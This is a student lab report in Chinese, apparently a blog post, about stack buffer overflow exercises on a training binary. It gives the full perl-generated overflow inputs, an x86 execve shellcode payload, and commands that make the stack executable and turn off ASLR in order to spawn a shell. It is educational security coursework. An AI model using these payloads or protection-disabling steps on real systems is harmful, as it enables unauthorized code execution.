20222808郭锦城 2022-2023-2 《网络攻防实践》第9次作业

2022-2023-2 《网络攻防实践》第9次作业

1.实验内容

1.1 软件安全概述

软件安全是指在软件的设计、开发、测试、维护和使用等过程中,保证软件的功能、数据、用户隐私等安全性的一种综合性技术。软件安全涉及到多个方面,包括数据加密、身份认证、访问控制、漏洞修复等等。

1.2 软件安全漏洞威胁

软件安全漏洞可能导致数据泄露、系统崩溃、服务拒绝等安全威胁。黑客可以通过软件漏洞来攻击系统,获取机密信息,或者对系统进行破坏。

1.3 软件安全困境

软件安全困境主要表现在以下几个方面:一是软件的复杂度越来越高,难以保证完全没有漏洞;二是软件开发周期短,时间紧迫,安全工作容易被忽视;三是软件安全缺乏明确的法律规定和标准,难以得到有效的保护和支持。

1.4 软件安全漏洞类型

常见的软件安全漏洞类型包括缓冲区溢出、格式化字符串漏洞、整数溢出漏洞、文件包含漏洞、SQL注入漏洞等等。

1.5 缓冲区溢出基础概念

缓冲区溢出是指程序写入超出缓冲区边界的数据,导致覆盖了原本存储在该缓冲区内的其他数据或程序代码,从而导致程序崩溃、执行错误或者被黑客利用。

1.6 Linux平台上的栈溢出与Shellcode

在Linux平台上,栈溢出攻击是一种常见的利用缓冲区溢出漏洞的方式。黑客通过输入过长的数据,覆盖了栈上存储的返回地址,从而使程序跳转到恶意的Shellcode代码,执行恶意操作。

1.7 Windows平台上的栈溢出与Shellcode

Windows平台上的栈溢出攻击与Linux平台上的类似,黑客也是通过输入过长的数据,覆盖了栈上存储的返回地址,从而执行恶意的Shellcode代码。不过由于Windows平台上的一些特殊机制,如DEP(Data Execution Prevention)和ASLR(Address Space Layout Randomization)等,使得栈溢出攻击变得更加困难。

2.实验过程

在这里插入图片描述
在这里插入图片描述

2.1手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数

使用Kali虚拟机作为本次实践的主机。
首先通过指令:objdump -d ./pwn1 | more查看pwn1程序的代码和逻辑。
在这里插入图片描述
找到getshell所在的代码部分。
在这里插入图片描述
查看main函数的代码会发现,执行到80484b5时会执行e8 d7 ff ff ff这段机器指令,观察可知e8对应call,那么d7 ff ff ff 对应的就是foo函数的偏移地址, 此时的EIP的地址为80484ba,那么foo函数的地址为。(0x080484ba+0xffffffd7)%0x100000000 = 0x8048491,所以只要修改相对位移量,使main函数调用getshell函数,修改的位移量可以通过计算得出:(0x0804847d-0x080484ba)%0x100000000 = 0xffffffc3。所以只要找到d7,并修改成c3即可。使用vim打开文件,发现都是乱码。
在这里插入图片描述
保险起见先把pwn1复制一份,命名为pwn0,输入%!xxd转换成16进制,通过vim的查找功能?d7查到d7,进行修改。修改完毕后,输入:%!xxd -r还原,wq保存退出。
在这里插入图片描述
在这里插入图片描述
运行pwn0,发现成功获取到了shell,输入几个指令进行验证,成功。
在这里插入图片描述

2.2利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数

首先还是通过反汇编指令查看pwn1文件中foo函数的汇编代码。
在这里插入图片描述
由于没有对输入长度进行限制,所以foo函数存在BOF漏洞,预留的局部变量的空间为0x38,gets函数会把读取到的字符串存放到0x1c,也就是28个字节。当输入的字符串长度超过28个字节,就会出现缓冲区溢出。
使用gdb对pwn1进行调试。
输入长度为40的字符串“aaaaaaaabbbbbbbbccccccccddddddddeeeeeeee”(8a 8b 8c 8d 8e)进行测试。接着输入info r查看当前寄存器的内容,ebp寄存器现在的内容为0x64646464 ,d对应ASCLL码的十六进制为64,而此时的eip寄存器的内容为0x65656565 ,e对应ASCLL码的十六进制为65,可以说明当输入的字符串长度过长,超过预留的长度28个字节,溢出到eip寄存器的空间。
在这里插入图片描述
那么我们只要正确设置输入的字符串,使字符串溢出的部分刚好是getShell函数的入口地址,就可以实现通过溢出运行getShell函数。因为ebp寄存器和eip寄存器的长度单位都是4字节,所以我们只要把getShell函数的入口地址,写在第33~36字节,那么就会覆盖eip的内容。输入命令 perl -e ‘print “19041904190419041904190419041904\x7d\x84\x04\x08\x0a”’ > input生成十六进制字符串文件“input”。输入(cat input; cat) | ./pwn1命令将input作为pwn1的输入,从而获得shell。通过几个命令进行测试,成功。
在这里插入图片描述

2.3注入一个自己制作的shellcode并运行这段shellcode

准备一段Shellcode,shellcode是一段机器指令(code),这段机器指令的目的通常是获取一个交互式的shell(linux的shell或类似windows下的cmd.exe),所以这段机器指令被称为shellcode。在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,例如添加一个用户、运行一条指令。

  • 首先使用“apt-get install execstack”命令安装execstack;
  • 输入“execstack -s pwn1”设置堆栈可执行;
  • 输入“execstack -q pwn1”查询文件的堆栈是否可执行 ;
  • 输入“more /proc/sys/kernel/randomize_va_space”查询是否关闭地址随机化;
  • 输入“echo “0” > /proc/sys/kernel/randomize_va_space”关闭地址随机化;
  • 输入“more /proc/sys/kernel/randomize_va_space”查询是否关闭地址随机化。
    在这里插入图片描述
    采用retaddr+nop+shellcode的方法构造要注入的shellcode,就是把shellode放到缓冲区后边的位置。
    使用指令构造输入的字符串perl -e ‘print “A” x 32;print “\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00”’ > input_shellcode
    通过(cat input_shellcode; cat) | ./pwn1命令将input_shellcode作为pwn1的输入。
    在这里插入图片描述
    打开另一个终端,查看此时pwn1的进程id根据查询到的进程id对pwn1使用gdb进行调试(使用指令[attach 进程id])。
    在这里插入图片描述

在foo函数运行结束前设置断点,继续运行程序,此时需要返回到正在运行的pwn1中输入某些字符串(调用函数foo),在断点处中断。
在这里插入图片描述
使用info r esp指令查看栈顶元素,并通过x/16x 0xffffd33c指令查看xcffffd33c地址所存放的数据。
在这里插入图片描述
输入指令x/16x 0xffffd340(d33c+4=d340)来查看该地址数据,得知其为shellcode内容。
在这里插入图片描述
使用修正后的指令perl -e ‘print “A” x 32;print “\x40\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00”’ > input_shellcode,再次保存为输入程序。再次使用指令(cat input_shellcode;cat) | ./pwn1,在输入ls,查看到目录信息,可得知shellcode注入成功。
在这里插入图片描述

3. 学习中遇到的问题及解决

Q1:开头运行pwn1时没有输出,在gdb调试的时候也是。
A1:两个地方刚开始都以为是卡住了或者出错了,结果直接输入指令就可以了
Q2:对gdb的一些指令不熟悉,比如查看栈顶元素,查看某个地址的数据等等
A2:多学习吧

4. 学习感想和体会

对照着学习通上的视频做下来还是比较顺利的,这次实验最大的收获还是对汇编以及操作系统的一些回顾和学习。另外实验虽然是在理想状态下成功的,但是这也说明了程序存在一定的安全问题,比如可以通过更改可执行文件的执行顺序,从而达到调用某些函数的目的,这里是通过更改汇编指令源代码实现;还有利用BoF漏洞,通过输入比缓冲区更大的字符串从而使缓冲区溢出,导致程序运行的顺序发生改变。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值